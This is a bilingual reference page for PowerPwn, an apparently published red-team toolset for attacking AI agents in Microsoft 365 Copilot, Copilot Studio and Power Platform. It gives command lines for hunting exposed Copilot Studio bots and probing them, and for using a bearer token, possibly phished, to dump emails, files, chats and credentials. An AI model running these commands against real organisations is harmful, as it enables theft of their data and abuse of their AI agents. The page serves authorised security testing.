PowerPwn
Boîte à outils offensive pour la découverte et l'évaluation des agents IA sur Microsoft 365, Copilot, Copilot Studio et Power Platform, incluant la chasse aux bots Copilot Studio et l'exfiltration de données via des sessions Copilot compromises. Offensive toolset for discovery and assessment of AI agents across Microsoft 365, Copilot, Copilot Studio, and Power Platform, including Copilot Studio bot hunting and data exfiltration via compromised Copilot sessions.
↗ https://github.com/mbrg/power-pwnOverview
PowerPwn (by Zenity researcher Michael Bargury) targets the AI-agent surface Microsoft has bolted onto Microsoft 365 and Power Platform. Its modules cover the full chain from recon to impact: finding exposed/misconfigured Copilot Studio bots on the internet, enumerating exactly what a compromised or authenticated Copilot session can reach, and pulling accessible files, emails, and credentials out through that Copilot session. It’s the go-to tool for red-teaming “my org gave Copilot access to everything” scenarios, which are increasingly common as enterprises roll out agentic Copilot features.
Installation
pip install powerpwn
Copilot Studio Hunter
Discover publicly exposed Copilot Studio bots by domain/keyword
powerpwn copilotstudio hunter recon --domain <target_org.com>
Attempt to talk to discovered bots and log responses
powerpwn copilotstudio hunter attack --bots-file results/bots.json
Copilot M365 Whoami
Enumerate what an authenticated Copilot session can access
powerpwn copilotm365 whoami --token <bearer_token>
Copilot M365 Dump
Exfiltrate files/emails/credentials reachable via the Copilot session
powerpwn copilotm365 dump --token <bearer_token> --output loot/
Target a specific data category only
powerpwn copilotm365 dump --token <bearer_token> --category emails --output loot/emails.json
Tips
whoamibeforedump— it tells you the blast radius (SharePoint sites, mailboxes, Teams chats) before you exfiltrate anything, useful for scoping what to report.- Copilot Studio Hunter’s
reconmode is passive/OSINT-style and safe for wide sweeps;attackactually interacts with discovered bots and should be scoped to in-scope targets only. - Requires a valid M365/Entra session token for the Copilot modules — obtain one through the engagement’s agreed access path (phished token, service account, etc.), PowerPwn doesn’t get you initial access on its own.
Help / Man page
usage: powerpwn <module> <command> [OPTIONS]
modules:
copilotstudio recon and attack Copilot Studio bots
copilotm365 assess an authenticated Microsoft 365 Copilot session
powerautomate enumerate/abuse Power Automate flows and connectors
powerapps enumerate exposed Power Apps
copilotstudio hunter:
recon --domain DOMAIN discover exposed bots for a domain
attack --bots-file FILE probe discovered bots
copilotm365:
whoami --token TOKEN enumerate accessible resources
dump --token TOKEN --output DIR exfiltrate accessible data
[--category files|emails|chats|all]
global options:
--proxy URL route traffic through a proxy
--verbose verbose logging
--output-format json|csv
Vue d’ensemble
PowerPwn (par le chercheur Zenity Michael Bargury) cible la surface d’attaque des agents IA que Microsoft a greffée sur Microsoft 365 et Power Platform. Ses modules couvrent toute la chaîne, de la reconnaissance à l’impact : trouver les bots Copilot Studio exposés/mal configurés sur Internet, énumérer précisément ce qu’une session Copilot compromise ou authentifiée peut atteindre, et extraire les fichiers, e-mails et identifiants accessibles via cette session Copilot. C’est l’outil de référence pour le red-teaming des scénarios « mon organisation a donné à Copilot l’accès à tout », de plus en plus courants à mesure que les entreprises déploient les fonctionnalités agentiques de Copilot.
Installation
pip install powerpwn
Copilot Studio Hunter
# Découvrir les bots Copilot Studio exposés publiquement par domaine/mot-clé
powerpwn copilotstudio hunter recon --domain <target_org.com>
# Tenter de dialoguer avec les bots découverts et journaliser les réponses
powerpwn copilotstudio hunter attack --bots-file results/bots.json
Copilot M365 Whoami
Énumérer ce à quoi une session Copilot authentifiée peut accéder
powerpwn copilotm365 whoami --token <bearer_token>
Copilot M365 Dump
# Exfiltrer les fichiers/e-mails/identifiants accessibles via la session Copilot
powerpwn copilotm365 dump --token <bearer_token> --output loot/
# Cibler uniquement une catégorie de données spécifique
powerpwn copilotm365 dump --token <bearer_token> --category emails --output loot/emails.json
Conseils
whoamiavantdump: cela indique le rayon d’impact (sites SharePoint, boîtes mail, discussions Teams) avant toute exfiltration, utile pour cadrer ce qui sera rapporté.- Le mode
reconde Copilot Studio Hunter est passif/OSINT et sûr pour des balayages larges ;attackinteragit réellement avec les bots découverts et doit être limité aux cibles dans le périmètre. - Les modules Copilot nécessitent un token de session M365/Entra valide : obtenez-le via le chemin d’accès convenu pour la mission (token phishé, compte de service, etc.), PowerPwn ne fournit pas d’accès initial à lui seul.
Aide / Page de manuel
usage: powerpwn <module> <command> [OPTIONS]
modules:
copilotstudio recon and attack Copilot Studio bots
copilotm365 assess an authenticated Microsoft 365 Copilot session
powerautomate enumerate/abuse Power Automate flows and connectors
powerapps enumerate exposed Power Apps
copilotstudio hunter:
recon --domain DOMAIN discover exposed bots for a domain
attack --bots-file FILE probe discovered bots
copilotm365:
whoami --token TOKEN enumerate accessible resources
dump --token TOKEN --output DIR exfiltrate accessible data
[--category files|emails|chats|all]
global options:
--proxy URL route traffic through a proxy
--verbose verbose logging
--output-format json|csv